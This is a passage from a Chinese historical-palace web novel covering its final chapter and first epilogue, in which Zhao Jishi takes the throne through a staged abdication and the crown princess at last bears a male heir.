这些产业,还关系着禁军的家属们。也关系着唐王一系的许多人。 利益嘛,从来能团结人的。 这些,万珍珠是会慢慢的交给长子长媳。可应该留给小儿子的那一份。 万珍珠自然准备待小儿子大婚后,再是转移去。 只应该留的养老本,万珍珠也不会全权洒手。 人嘛,总要有一点点的小金库。 爹有娘有,自己也得有。 又两日。 唐王府。万珍珠接到了信儿,还是拜访之人有些意外。 “王妃,您要见一见吗?”万嬷嬷小心的寻问道。 “见一见吧。”万珍珠同意了见一见。 林江郡主,这一位曾要镐京都的旧友。可这一位旧友,万珍珠想起来心情也复杂的。 因为简亲王府没了。或者说大晋朝都没了。 林江郡主会来了燕京都,不过是唐王府给的一条活路。 因为简亲王府那些年里,倒台时,结局燕不漂亮。 谁干的? 当然是唐王赵济世干的。原由也简单。 还是为了忠仪侯万忠良复仇而为。做为女婿,唐王赵济世想翻了旧帐。 彼时,在大胜之下,在大晋朝灭亡之时。 有太多人想攀附了。于是简亲王府只是灭亡者之一。 林江郡主能活路,不过是靠了当年跟万珍珠这一位浑江郡主的旧情。 “草民参见王妃娘娘。” 林江郡主,不,应该说如今的林江,那真是成了一介庶民。 曾经的姓不敢用了。不过是用了曾经的封号做了名。 她求来唐王府,那是真没法子。 “求王妃给一个活命机会。”林江磕头,磕得实诚。 林江会如此。不过是得了消息。这不,她其实是来报信儿的。 或者说给一个梯子,她想攀附了。不止为自己,更是为了儿孙。 林江有自己的儿孙。 儿子虽然死在灭国之战中,可孙儿还在。 林江还有指望的。她的指望便是小孙儿。 “王妃,草民得了一消息。有人串连,想举事。” 林江不隐瞒,一一说了她知道的关于淑阳公主等人的一些痕迹。 举报了一些人名。这是实名的举服。 万珍珠听罢,只道:“林江姐姐,起来吧。” “你我旧友,唉……”万珍珠一声叹息。 关于亲爹的一些事情,一旦简亲王府掺合上了。 万珍珠对于简亲王府没好印象,觉得那些人死得死矣。不过是复仇罢了。 你死我活,没什么好说的。 可林江是旧友。万珍珠这儿总念一点旧情。 原来不想帮衬,也不过是因为斩草没除根。 万珍珠已经觉得不牵扯的为好。可如今林江攀附了上来。 还是举报了别人。这投名状交了。 万珍珠的态度自然是变了。她心头也有一番计较。 若是可以的话,万珍珠真不怨林江这一位旧友沉沦。 人活着,都不容易的。若是可以,这样的旧面庞,还是喜乐为好。 “坐吧。”万珍珠这会儿的态度恢复如从前。 “吃茶。”万珍珠给亲自倒了茶。 林江愣在当场。这般做派,一往当年。林江真的有些不习惯。 因为二人的身份,如今是天壤之别。 “王妃娘娘,草民受不起。”林江赶紧讲道。 “林江姐姐,当年的我们也是真性情相投。唉。” 万珍珠又是一声的叹息。 “旧怨已了,总要往前看。如今林江姐姐登门了,也是给了投名状。只要这事情为真。我总要保姐姐儿孙一个前程。我们都向前看,未来总归是美好的,有希望的。” 万珍珠给林江一颗定心丸。 林江当然听懂了,此刻,她默然落泪。 没哭出声,可哭的那样子,也是泪珠儿不断。 林江抹了泪。 “王妃大度。草民只愿王妃长命百岁,长长久久。借您的一点余荫,能让草民的儿孙得了庇护。” 林江如今的想法就一样,让小孙儿有一个前程。 如今有唐王妃的恩典,这一切就不算什么事。 林江来一趟,走时,万珍珠吩咐了万嬷嬷。 差了万嬷嬷安排人走一趟。 林江和她的小孙儿当然换一个新的居所。房子,那是唐王府赠的。 在燕京都里,有一瓦遮身,特别是属于自己的家业,那真不容易。 特别是得了唐王府的余荫,那更不容易。毕竟林江这等献俘之辈。 那自然是身带原罪的。至少,落于大赵朝眼中,皆是如此。 林江走了,走时,心里一块大石头落地。 关于林江这一桩事情,万珍珠也没瞒了枕边人。 这事情她在当晚,便是跟赵济世略提一嘴。 虽然是一笔带过,可赵济世还是关心一回。 “你心软了,妹妹。”赵济世讲道。 “当年在镐京都,我唯一真心相交的好友便是林江姐姐。瞧她如今的收场,我心里不好受。” 万珍珠的心里,林江郡主真是旧时好友。 那些年在镐京都的美好时光里,也是有林江郡主的影子。 “罢,也不过一桩小事。妹妹愿意,随尔心意便是。”赵济世也不是很在意。 主要是林江郡主膝下有一个小孙儿。这人嘛,有了牵挂,那心气儿不一样的。 再说,这林江郡主的小孙儿,那不是大晋朝的皇室。 这真是想干什么,那份量真不够。 赵济世的眼中,还是如今的大赵朝的皇室,那是份量十足。 “妹妹,你说说,这一回淑阳公主等办事。还是牵连了太上皇。甚好,甚好。” 赵济世是真的觉得高兴。毕竟牵连的人越多。 这能搅和的风云越大。 “济世哥哥,真到那一步了吗?”万珍珠揽了枕边人的腰,二人依偎于一处,她温声细语的问道。 “灭国之功犹在,此时,最是好时机。”赵济世讲道。 “特别是太上皇不安份,这给了唐王府最好的借口。” 赵济世脸上有笑意,眼眸子里全是冷芒。 走到如今这一步,赵济世没可能退让。 “至不过,到时候请当今陛下屈尊于王位上。一个王位,一块封地食邑,我给得起。可这一个王位,一旦给了当今的陛下,太上皇那儿就多余了。” 赵济世想行禅让之事。 也真没想着把事情做绝。给大赵朝的天子一个王位,一块封地。 这是禅让之事,当然是里子面子做好一点。 这算是一个交代。毕竟赵济世做了大赵的臣子。 当然禅让了,这应该裱糊的功夫,还是要做得体体面面。 “太上皇不安份,确实太多余了。”万珍珠赞同一回。 “这一回,有些人手伸得太长。济世哥哥,甜枣给了,刀子也得给了。” 万珍珠的眼中,也是冷芒闪过。 历朝历代,就可能改朝换代,那还是温情脉脉。 真是表面上的温情脉脉,在潜流之下,一定是血腥味儿很浓的。 “是啊,刀把子不砍人,那怎么能成。这一回,我还打算依着妹妹当年的想法,与唐家军的众兄弟共富贵。哪怕一兵一卒,也是我的兄弟。” 在赵济世的心底,不止是那些结义兄弟。 那怕是唐家军这一支私军。赵济世的心中,也是当了军中兄弟的。 这同富贵,如何同富贵。 那些做将军的,做校慰的,肯定可以给高官,可厚爵。 可那些普通的士卒呢? 对于赵济世而言,他是寒家出身,也是吃了太多苦头到如今。 赵济世太懂了。 问普通的黎庶,什么是传家宝,那自然是土地。 在东方这一片大地上。只有土地才是传家宝。 “妹妹,我早有打算。这些年里,砍了那么多的脑袋。收揽于手中的土地,还有在大赵朝诸王与宗亲勋戚手中的财富,除了土地,旁的我不觊觎。” 赵济世不觊觎,可是旁人呢? 有些事情,赵济世不会做。可有些事情,赵济世不介意做绝。 “承天府的土地,总要换一换主人了。唐家军的诸兄弟,也应该有一份传世家业的土地留给后人。” 赵济世想改朝换代。不止自己吃一把好。 那么,唐家军的诸人,哪怕是一个小卒了,那也得吃一口肥美的。 承天府,首善之地。 搁了眼皮子底下,赵济世给唐家军的士卒们分土地。 至于诸将校嘛,那便是要分封地食邑,那自然也要分享好的。 镐京都,赵济世觉得不错。 虽然离着燕京都有一点儿的距离。或镐京都也是肥美之地。 普通士卒搁眼皮子底下,那是唐王的爱护。 将校们,那就是狼,当然是替唐王盯紧了镐京都,盯紧了新收获的晋地。 这会儿的赵济世与枕边人说了他的同富贵。 万珍珠听罢,笑道:“济世哥哥,你做事,多来都是觉得甚好。没有更好的。” 万珍珠真心觉得同富贵。有这般一支私军。 还是得了心的私军,那便是唐王与儿孙们的保障。 这一年,有些风声传出了。 没谁是傻子。 承顺七年,一开年,各位有祥瑞呈上。同时,关于禁军要赐田地一事,也是有风波传出去。 唐王恩义,这当然得摆了台面上来。 毕竟挟大抛,赵济世准备的用心良苦,也没瞒人。 当然,这一场开场白不是唐王赵济世先打了头阵。 而是以太上皇正统帝为首的清君侧闹起来的兵变。 虽然这一切更像是一场闹剧。 可事情一旦闹出来。那当然就是一场大风暴。 唐王府。 甭管是赵济世,还是赵绥,他们都在朝堂上忙碌。 唐王府的内宅里,万珍珠领着儿媳挛堤明珠则是安抚了各方的女眷。 如何的燕京都不太平,有太多人被牵扯进去。 一时间,唐王府这儿自然有走门路的。 甭管有事没事,也有人想巴结的。 对此,万珍珠只是静静的瞧着。或者说在心底给一些人打分。 谁对唐王府有用,谁又对唐王府无用。或者说谁的情份有多少。 这里面的计较,万珍珠心头得有数儿。至于儿媳这儿。 万珍珠是乐意儿媳挛堤明珠多分忧的。婆媳一体。 在唐王府的利益面前,婆媳当然是一样的立场。 永顺七年。 太上皇病逝,袁皇后病逝。淑阳公主被赐鸩酒。 夏。 天气很热闹了。泰一宫。 永顺帝也觉得闷热难耐。可在心底,永顺帝还是觉得皇宫住着,那是心里凉嗖嗖的。 “大伴,朕怕。”永顺帝跟自己的贴身伴伴说了心底话。 当了皇帝,做到永顺帝如今的地步,他是真怕。 皇兄死了,一些流言传到了永顺帝的耳中,他是真怕。 他怕自己成了下一个皇兄。 毕竟不止皇兄死了,嫂嫂也死了,还有姑母也死了。 皇室里死的人很多。宗室的架子,如今更是摆不起来。 特别是宫廷里,除了贴身的伴伴。 永顺帝瞧着别的小黄门都像极了唐王府的探子。 永顺帝除了自己的大伴,他旁的人不敢相信。 “陛下。”这一位张大伴赶紧安慰了天子。 虽然在心底,张大伴更清楚。他的主子是唐王府的主人。 可这做了钉子,还是钉要天子跟前的人。张大伴应该做的事情是安抚好小天子。 因为张大伴得过上面的吩咐。知道小天子的前程有。 真不是什么坏事。 一个平平安安的王爷,还有一份封邑养老。 这日子也不必跟如今一样在皇宫担惊受怕的。 这真没什么不好的。 不过是当了吉祥物。在皇宫里当着,还不如去封地里享福。 这不,张大伴嘴里不止安慰,他还是小声的说道:“陛下,奴婢也听着一些流言。” “您不必害怕。唐王府多在意了名声。真做事,也是要讲体面的。” 张大伴叹息一声。 “陛下,太上皇那事儿,全是太上皇想差了。也是下面人办的差了。” 张大伴哄了小天子。 有空闲,寻着时候。张大伴要给小天子洗一洗脑子。 关于禅让,关于如何当一个平庸的封王。 前朝的封王,如何识趣一点。这真是保命符。 于是在夏末时节。 也是一朝大朝会后,天子在下面又呈了祥瑞时。 这一位小天子开口了。 “祥瑞乃天隆,此吉兆。唐王洪福,全赖于此,方克晋朝。” 小天子巴巴说一通。最后,话锋一转。 小天子说了真心话。那便是他要行禅让之事。 说是禅让,可不是简单就成。 至少,小天子这儿嘛,一开口。唐王赵济世赶紧推辞。 三辞三让,这是基本操心。 没可能心情的。 于是小天子只能勉励一番,给唐王加九锡,赐封国。 等操作。不过是一步一步,顺利成章的走一个流程。 三辞三让,这可是一个体面活。 小天子自己开口,其实吧,也是想在唐王跟前卖一个好。 永顺帝更是想让朝臣们知道,这事情他乐意。 真不是唐王逼的。 至少朝堂上的臣子有眼睛,还是看得出来。甭管背后有没有内幕。 至少在禅让一事上,永顺帝自个儿很乐意。 私下里,永顺帝单独召见了唐王赵济世。 “唐王。” 永顺帝没受唐王的礼。只赐座。 “朕觉得爱卿乃天降圣人。大赵托于卿手,我心甚慰。” 永顺帝会儿连称呼也开始改了。 “我就想着做一个安乐王。在封地里快活过一辈子。唐王,这可以吗?” 小天子问道。 这怎么不可以? 唐王赵济世巴不得。对于赵济世而言,小天子这般配合。 一个区区王位,一块封地,他太舍得了。 有永顺帝的配合。禅让一事,份外的顺利。 哪怕是大赵的宗室们,这会儿想寻着骨头硬的,那也没了。 如今活着的,全是软骨头。对于永顺帝的做法,也只是配合的唱了赞歌。 燕京都里,谁都知道要出一位新天子。 永顺八年,春。 开年,大祭。这一年,永顺八年,亦是新朝大唐长乐元年。 大唐高祖赵济世册封退位禅让的永顺帝为安乐王,赐封地,赐食邑。 不必掬安乐王于燕京都,随了安乐王心意至封地享福。 当然,应该给安乐王的保护,那肯定少不了的。 曾经的唐王府,那成了长乐帝赵济世的潜邸。 对于万珍珠而言,枕边人走通了那一步登天梯。 同时,她自然是跟着水涨船高。 万珍珠瞧过了夫君祭祀天地与宗庙。当然,这是赵家的宗庙,是大唐的宗庙。 同时,她也祭祀了祖宗。 万珍珠成了大唐的皇后,开国元后。嫡长子赵绥被册封为东宫太子。 至于小儿子嘛,则被册封为晋王。 这晋王的封号,也是赵济世想表明了他得尊位的来原。 灭晋之功,把敌人的封号赐给了儿子。这当然是功勋彪炳。 册封皇后,册封太子,册封晋王。 不止如此,开国功勋,各人自然诸赏。这等时候与众同乐。 便是岳丈万忠良,赵济世也没有忘记。这岳丈追封为忠义王。 至少岳母嘛,自然便是忠义王妃。 正式的登基大典,万珍珠已经不止见证过一回。 可往前的,那 些荣耀与她无关。 可如今嘛,这荣耀有她一份。 分享了枕边人的荣耀,特别立后大典。 凤冠戴于头顶,与夫君同尊同立,享了文武百官的大礼。 听着那高呼声。 “陛下万岁万岁万万岁,皇后千岁千岁千千岁。” “……” 一眼入目,尽皆参拜之人。 江山如此多娇,哪能不引人折腰。万珍珠如是想法。 不止文武百官得参拜,诰命夫人们也得参拜。 踏进皇宫。踏进新的征程。 对于万珍珠而言,一切又不同。可说不同嘛,又似乎是一样的。 毕竟一家子人还在一处嘛。 只是这一个家更大了许多。 新帝登基。不止是开国的功勋们欢喜。便是唐家军的禁军也欢喜。 承天府的土地,那等上好地。天子赐与。 这可是留给儿孙的传家命根子。 当然,水涨船高的还有唐王府曾经的下人们。 庄子上。 翡翠听着女儿的话。刘月奴嫁人了。嫁给庄子上的小管事。 如今刘月奴有了儿女。 她与当家的商量过,儿子送去读书。 对于儿子的前程,刘月奴当然有寄望。 “娘。”刘月奴望着亲娘。 “过去的,都过去了。我们会有美好的未来。” 刘月奴有一张娇美的脸。 也如此,才是嫁得如今的夫君。对于如今的生活。 刘月奴是满意的。 或者说她的愿景,从来不是特别的大。毕竟当年的旧事。 那会儿也是吓坏了刘月奴的胆子。 那些高门大户,说倒台就倒台。 可唐王府呢,如今的大唐皇家,那是自家的主子。 刘月奴的心底对于亲儿子寄与厚望。 “你与女婿送孙儿去读书,那是好事。”翡翠笑道。 在心底,翡翠也清楚。过往的,真得看开些。 哪怕在心底,翡翠真不敢想像了曾经的珍珠。 不,应该是皇后娘娘真是这般的大贵人。 那些过往,翡翠是不敢提的。万一哪儿让大贵人不喜呢。 翡翠只盼着外孙有本事。将来真能读了出来。 “若将来孙儿读出能耐,必能有好前程。” “是啊,一旦读出来,必超他父。”刘月奴的盼中有期许。那是希望的光芒。 在这小小的庄子上,对于刘月奴而言,生活是美好的。 或者说有希望的,便是美好的。 燕京都,内城。 一处小宅子里,林江也在陪着孙儿启蒙。 小孙儿的年岁虽小,可对于他的前程。林江还是心有期望的。 毕竟孩子就是希望。那不定的未来,总是有无限的可能。 瞧着小孙儿是读书的料子,不止聪明,还能坐得住。 林江心里很欢喜。 她心想,这一切真好。 至于说认识了皇后娘娘,蒙得恩赐,如今她和孙儿有一安身立命之所。 在林江心底,她知道,她便是教导了孙儿。 也得遗忘了大晋的一切。 在孙儿的心底,只让孙儿好好读书,在大唐的燕京都求一个前程。 学成文武艺,货于帝王家。 林江是真盼着孙儿读出名堂来,将来,也能单开一页祖谱来。 燕京都,皇城,东宫。 挛堤明珠是太子妃,她自然要替婆母分忧一二。 这不,一些诰命递的牌子。挛堤明珠这儿就是受领一番。 关于女眷们的一些事情,如今殷情万分为什么? 挛堤明珠太清楚了。 她未曾怀孕,这太子妃的位置也让很多人眼红的。 朝堂上不是没风声,有人提了请天子选嫔妃,以充实后宫。 可天子的态度一如既往,那是独宠一人。 关于天子重诺,一诺千金的旧事,这自然是翻出来。 这不,皇宫里皇后娘娘那儿有天子之言。那不会儿大选。 后宫独一人,此旧时诺言不改。 世人传唱,皆赞皇后福德深厚。免不了也得赞天子非凡人,一言万钧重。 如今天子那儿没得改。那么,没有子嗣的东宫呢。 东宫太子妃的压力很大。 “人人都想咬一口东宫的香饽饽。”太子妃跟教养嬷嬷讲道。 “嬷嬷,你说,母后会同意吗?给东宫甄选女眷。” 挛堤明珠问了赵嬷嬷。 “子嗣为重,太子妃娘娘,您总要揽了一个贤名的。”赵嬷嬷劝了一番话道。 “我……”挛堤明珠的眼中有泪花盈盈。 她不想。 这是挛堤明珠的真实想法。可她又不敢不贤惠。 因为大唐皇室人口太单薄,满朝上下也罢,燕京都的普通黎庶也罢。 谁不议三分。 天子那么有旧日诺言,那么,自然是天子信诺为重。 可东宫呢? 东宫无嗣,这便是太子妃的锅。 当然,先去跟母后提这事,挛堤明珠不会。 只在太子回了东宫后,在陪着枕边人一道用了夕食后。 挛堤明珠才在二人相处时,她说了一二诰命夫人们的侧言敲击之语。 “安康,我应该劝你选了侍候的妾室吗?”挛堤明珠小声问道。 “……”赵绥伸手,揽了妻子入怀。 “东宫无嗣,让你受非议了。”赵绥宽慰了妻子。 青梅竹马,两小无猜。两人的感情总归不一样的。 更何况,枕边人为何无嗣。赵绥太清楚了。 不过是他避了一二。 算一算安全期,避一避,这没怀上。在赵绥心里真不是妻子的锅。 或者说赵绥早年,也是觉得他自己太年少。 “我们努力,总会有嫡子的。”赵绥宽慰一番。 大唐新朝,在被册立为太子那一刻。 赵绥已经在努力跟妻子造小人。可这缘分嘛,总归得看一看。 赵绥如今也是求子,求的是嫡子。 “一些流言,不必在意。只要你怀上了,那些人自然会闭嘴的。” 赵绥笑道。 “明珠,如今瞧着,还是我努力的不够嘛。”赵绥揽了妻子的腰。 他嗅着她的香,温言细语,道:“我们更加努力,造出了小人儿。父皇和母后那里,我不去劝,也定是心疼你的。” “……”挛堤明珠的脸红了。 这会儿的挛堤明珠不止心暖,还心痒痒。 造小人,岂止是赵绥这会子性急。挛堤明珠也是一汪春水,心头急切切。 对于小人儿,挛堤明珠是一千个一万个的盼着。 又是秋来。 关于什么东宫无嗣的谣言,最终,当然是被皇家压了下去。 至于给东宫选秀女? 万皇后没这心思。毕竟嫡长子嫡长媳还年青。 又或者说再给小辈一点机会。 来年,真是春日到了。若是孙儿辈还没消息的话。 万皇后这里没压 了。因为朝堂上的风声嘛,她真听进去了。 当然,不止听去了,也是枕边人的意思。 拦一回,可谓是慈心一片。再拦,那就成了世人眼中的不慈。 为何? 因为皇家真有皇位等着继承。特别是东宫,那可是储位。 储位也是要继承人的。万珍珠便是为了嫡长子安康好。 有些事情嘛,她也得站了俗世舆情上办事儿。 得了世道世俗规矩的福,那就得便宜行事。 万珍珠也给祖宗们多祭祀了香火,她就盼着早一点抱了孙辈。 三代同堂也罢,四世同堂也罢,万珍珠觉得皆挺好的。 关心一番东宫的长子长媳。关于小儿子的课业,万珍珠一样关心一番。 便是给亲爹万忠良这一位忠义王上了香火一事。 万珍珠也是亲去过一趟。 那会儿的万珍珠是陪着亲娘。一述往日情。 更多的还是追忆了当年的镐京都美好旧时光。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 【全文完结】 第121章 番外一东宫 太子妃挛堤明珠望着天空,天边白云悠悠。 天气晴,一切似乎美好。 “嬷嬷,你说送子娘娘会眷顾我吗?”挛堤明珠伸手抚着自己的小腹。她的眼神平静,心思却不是平静的。 “太子妃娘娘福运长远,这一胎太医院也瞧过了,您一定怀的是小皇孙。”赵嬷嬷宽慰着。 “嗯,我真想替安心、安宁生一个弟弟。”挛堤明珠的口中发苦。 谁让东宫储君是未来的天子。大唐的东宫太需要一个继承人。 “真盼着太子归来时,他平平安安的当爹了。”话至此,挛堤明珠说道:“嬷嬷,我想夫君了。” “殿下南征,必是大胜归来。太子妃娘娘,您如今腹中的小皇孙要紧。您万不可多思多虑。” 赵嬷嬷劝着话道。 如今的太子妃怀了身孕,太子南征。 大唐要一统天下,安定四海。南边诸国当然不能忽视。 一统北方中原大地的大唐,那是非常在意了金瓯无缺,四海升平。 “母妃。” “母妃。” 远远的,有童音传来。 这是东宫的两位郡主,也是太子和太子妃的长女安心、次女安宁。 做为太子妃,挛堤明珠生下了两个孩子,如今又怀了一胎。 “宁心、安宁。”挛堤明珠唤了女儿,此刻,她的脸上尽数是笑意。 见着女儿,眉眼间也全是爱怜。 对于亲生闺女,挛堤明珠自然是宠爱。特别是夫君不在身边时。 挛堤明珠在意了女儿们,她怕,她一不注意,还让人忽视了亲闺女。 哪怕这一种怕,那可能是多想了。可当娘的,那宁可多想了。 也不愿意了亲闺女在亲娘没注意的地方被人忽视,被人欺负。 “母妃,我和妹妹来陪您说说话,一道给母妃肚子里的弟弟讲故事。” 安心牵着妹妹安宁的手,笑着凑上前,凑近了亲娘的跟前。 “今天听嬷嬷讲的新故事,可好听了。”安宁点头。 见姐妹二人说得开心,挛堤明珠笑着回道:“好啊,母妃也听安心、安宁讲了新故事。母妃肚子里的弟弟也喜欢听姐姐们讲新故事。” 这不是哄了两个女儿,而是娘儿仨凑一处。 这说说笑笑的,那是日子快活。 毕竟心情好,挛堤明珠乐意。她真的非常乐意瞧了女儿们的笑脸。 夏日,阳光灿灿。 东宫里不缺了冰盆。只挛堤明珠有身孕,到底忌讳一些。 怕伤了肚子里的孩子,有些凉物,太子妃是能不用,便不用。 可夏日,冰盆又不能不用。因为太热了。 待着夏日末,夏气渐消时。 挛堤明珠这一日陪着两个女儿一道用过朝食。 两个孩子去跟着教学的女学生学一学识字等。 说是学习,可两位郡主还小,不过是女学生陪着玩耍一番。 因为太子妃的身子越来越沉,近些日子便是产期。 两位郡主这儿当然便是教养嬷嬷和女先生多费心照顾好。 “嬷嬷。”待两个女儿离开后,挛堤明珠唤了心腹赵嬷嬷。 “去传了产婆和医女,一切安章程行事。我要生了。” 挛堤明珠这儿不缺侍候的。至于生产一应事宜,早不是头回当娘的挛堤明珠太清楚流程如何。 此时的挛堤明珠一吩咐,赵嬷嬷便是心头有数。 于是太子妃被搀扶进了早备好的产房。甭管是医女、产婆、新生儿的奶嬷嬷和请脉的太医等等。 一杆子应该安排的人手,早有章程。 此时的东宫不会乱了章程,全有规矩行事。 进了产房的太子妃挛堤明珠还算镇静。她的心神平静。 可心思里,挛堤明珠还是暗暗的祈求了列祖列宗。 挛堤明珠的心里压力颇大的。 东宫需要继承人。 挛堤明珠连生三胎,再不生下了皇孙给东宫一个继承人。 哪怕太子赵绥一直顶着压力。 挛堤明珠也真不想枕边人的压力太大。毕竟,从长乐元年开始。 那些御史们,那些朝臣们,可一直在吹了风声。 东宫应该选秀女的。 只是东宫的太子不允罢了。 因为太子赵绥的想法太简单,他就有了嫡长子。 或者说长乐帝龙体安泰,太子、晋王又是亲兄弟。 天家和睦,不需要改变什么。 天家的和睦,这才是太子看重的。传承有序。 那当然是嫡长子很重要,太子是凭着嫡长子妥妥的继承储君之位。 那么,东宫想要嫡长子没错。 可朝臣们的压力给出来了,风声传得很大的。 挛堤明珠的压力也很大。 等着产婆到来,医女进了产房时。挛堤明珠还在殿内慢慢的走着步子。 这是在适应了将要生产的情况。 产婆瞧过情况后,也是一切的建议,便是再等一等。 关于生孩子的痛楚,哪一个当娘的都免不了。 当然,可能因人而异。 有人生孩子会轻松一点点。可各多的人还是要吃了生孩子的那一份苦。 可这一份苦,在见到了新生儿时,见着新生命的诞生时。 那等喜悦,或者着各人有之,各有不同。 “太子妃娘娘,到时候了,您请调整呼吸。” 产婆侍候着,给太子妃调整了生产时的节奏。 “您的胎位正,万万会平安。” 产婆的话,挛堤明珠是相信的。或者说她是巴不得平平安安。 东宫太子妃要生了。 这消息当然不能瞒着。宫廷,凤仪宫。 万珍珠这一位皇后处当然得了消息。 “万嬷嬷,安排下。本宫亲去东宫一趟。”万珍珠吩咐一回。 “唯 。“万嬷嬷应下话。 儿媳妇生产了。万珍珠当然得去。她真的关心大儿媳的这一胎。 在心头,万珍珠就一个念想,盼孩子平平安安,盼母子都和和乐乐。 待万珍珠到东宫时,瞧着一切妥帖,没乱了章程。 万珍珠心头满意。 在产房外等不久,产房内便是传来了喜讯。 因为万珍珠听见了新生儿的啼哭声。 又过了一会子。待产房门打算。嬷嬷抱着一个小小的包裹来报喜。 “恭喜皇后娘娘,贺喜皇后娘娘,太子妃娘娘平安诞下一位小皇孙。” 嬷嬷的报喜声传入万珍珠的耳里。 “好,好,好。”万珍珠连道三声好。 这会儿的万珍珠是真正的开心。她接过了那小小的包裹。 锦缎的包裹里,那是一个皱巴巴的小婴儿。 可落在万珍珠眼中,一点儿不丑。真像极了刚降生时的长子安康。 “这孩子随他爹,父子俩真像。”万珍珠的眉眼温柔。 “传太医给太子妃和小皇孙请了平安脉。”万珍珠吩咐了话。 当然,应该给泰一宫的皇帝传的喜讯,这会儿不能省。 当然应该给东宫众人的厚赏,这更不能薄了。 对于皇家而言,第三代的降生,特别还是东宫太子的继承人降生。这当然是天大的喜讯。 至于安心、安宁二位郡主,前面让教养嬷嬷哄到了前殿去。 也是怕生孩子的场景吓着二位小郡主。 这会儿太子妃生产结束了,这自然是孩子领出来。 免不得让祖母宽慰一二,同时,也是让做姐姐的见一见弟弟。 当然,在殿外不久待,而是进了殿内。 万珍珠也宽慰了一番儿媳挛堤明珠。 “明珠,你是皇家的功臣。你啊,好好歇息。等醒了,也可亲写家书差人送去南边,让安康读一读你的家书,知他又当爹的喜讯。” 万珍珠对儿媳是乐呵呵的态度。 “全听母后的。”挛堤明珠哪怕累惨了。可她的心头踏实。 虽然产后,这会儿的挛堤明珠真要歇息一番。 可在闭目前,挛堤明珠还是亲自的宽慰了两个女儿。 当然,她也是瞧了自己的小儿子,心头安慰的很。 在睡着前,挛堤明珠心头还在感慨了。 从长乐元年至长乐七年,整整七年,挛堤明珠一路行来太不容易了。 要知道她这一位太子妃连生三胎了。总算是盼来了东宫的继承人。 挛堤明珠就一个念想,太盼着夫君南征大胜,早日归来。 到时候父子相见,那才是东宫的团圆相聚日。 等着这一睡,再醒来时,太子妃挛堤明珠最先问了嬷嬷,道:“孩子呢?” “太子妃娘娘,小皇孙在这儿。”赵嬷杂说赶紧提醒了话道。 挛堤明珠一瞧着孩子在旁边的小摇篮里。这会儿的她是放心了。 这一个孩子盼了太久,她总算是盼来了自己的心肝宝贝。 “安心、安宁可好?”挛堤明珠又问了女儿们。 “太子妃您放心,二位郡主无恙。”赵嬷嬷又是细细的回了话。 太子妃仔细的听罢,这会儿真安心。毕竟两个女儿无恙,这时候的太子妃是开心的。 “我就怕吓着她们姐妹。”太子妃笑道。 “哪里会吓着二位郡主,二位郡主可高兴着添了弟弟。”赵嬷嬷笑着回道。 “是啊,她们也高兴添了弟弟。”太子妃是笑道。 “往后东宫不一样了,安心、安宁也有弟弟们将来给她二人撑腰。”太子妃笑得高兴。 在太子妃的心中,安心、安宁有了亲弟弟,那真的不一样。 “太子妃,您一定饿了,先垫一垫肚子吧。”赵嬷嬷劝了话道。 赵嬷嬷这一提,太子妃真感觉饿了。 “依嬷嬷的。”太子妃当然不拒绝。 这会儿是吃饱了,如此,才有心思仔细的瞧了自家的宝贝疙瘩。 垫一垫肚子,尔后,太子妃是亲眼瞧一瞧自家的儿子。 小小的孩子,因为足月生。 “这孩子多重?”太子妃问道。 “六斤六两。”赵嬷嬷回道。 “那,父皇那儿可赐名了?”太子妃问道。 “传过话,皇后娘娘亲自来,说是陛下赐了小名叫六斤。至于大名,陛下还待钦天监合了八字吉兆。” 赵嬷嬷忙回道。 “父皇真心疼这一个孙儿,大名小名,俱由父皇赐下。” 太子妃笑道。 “当然了,这可是陛下和皇后娘娘的头一个嫡长孙。自然是不同的。”赵嬷杂说笑道。 听着赵嬷嬷的话,太子妃点头。 嫡长孙,在普通人家,那意义也不同。何况在皇家。 太子妃也懂,将来啊,她怀中的这一个孩子便是东宫的继承人。 也是皇家第三代的继承人。 这在父皇眼中,在母后心底,这一个孙儿大不同。 “六斤,我们的六斤真俊。”太子妃笑道。 “可不,皇后娘娘还说,小皇孙跟太子殿下当年可是一模一样。”赵嬷嬷笑着回道。 “他们亲父子,可不一个模样。”太子妃笑着回道。 “他们父子都是俊美之人。”太子妃想着枕边人,在太子妃心中,太子自然是俊美无双,本事也是能耐大的很。 太子妃就盼着儿子像爹。 “……”赵嬷嬷笑笑。 刚出生的婴儿,皱巴巴的,要说多俊?赵嬷嬷当然不能讲。 实际上嘛,只要等一些日子,等小婴儿长开了,那当然又不一样。 那会儿长开了的小婴儿可是讨人喜爱的紧。 毕竟安心、安宁二位郡主当初,那可就如此。 赵嬷嬷如今心安,那是太子妃有依靠了。皇家的郡主当然尊贵。 可再尊贵,也比不得有皇位继承权的皇孙。 赵嬷嬷是太子妃的教养嬷嬷,陪嫁嬷嬷。 对于赵嬷嬷而言,她是盼着太子妃的地位稳固。 前面生了两位郡主,赵嬷嬷暗中真替太子妃担忧了无数次。 好在太子顶得住,那是一直宠了太子妃。 如此,东宫里,太子妃的位置稳着。可这等安稳,若是一直没了继承人。 这一份安稳还有多久? 赵嬷嬷无数个夜晚,那是难安。这全是替太子妃担忧。 到小皇孙降生后,赵嬷嬷都能睡一个安稳觉。 对于赵嬷嬷而言,这太子妃有了亲儿子,东宫啊,那便是有了真正的宝。 这宝,便是东宫的储君有了继承人。 这不,赵嬷嬷此言,可不空虚。先是天子厚赏,再是皇后厚赏。 这赏的不止是太子妃,同样是赏了小皇孙。 同时,朝廷诰命夫人们,那也是识趣的很。 在小皇孙洗三时,奉于东宫的贺礼。赵嬷嬷接了礼单子,那都是接的手软。 洗三,对于新生儿很重要。 特别是东宫的嫡皇长孙,这一场洗三,那更是大大的操办。 那一日,东宫的热闹,赵嬷嬷亲眼见证。她啊,还是专门说给了太子妃听一听。 “今个儿的热闹,真好。”太子妃笑得开心。 “我还得写了家书,好好的跟太子说一说。这可是他儿子的洗三礼。” 太子妃的眼中有光。那跟往日不同的。 有儿子的太子妃,那跟没有儿子的太子妃,那精气神儿都不一样了。 “奴婢给太子妃磨墨。”赵嬷嬷笑道。 可不,太子妃一说写家书。赵嬷嬷亲自侍候的笔墨。 厚厚的家书,一言一语,尽是东宫里的开心事。 报喜嘛,从来如此。 太子妃这儿太盼着太子早些归来。小孩儿一天一个样。 太子妃真想让枕边人早些见到了他们夫妻二人的嫡长子。 “南边,一定还暖和吧。跟北边,总归不一样。只盼着夫君早早归来。”太子妃呢喃一回。 番外二晋王妃 晋王是皇帝皇后的小儿子,都说皇帝爱长子,百姓疼幺儿。 皇帝爱长子,爱的是继承储君位的嫡长子。 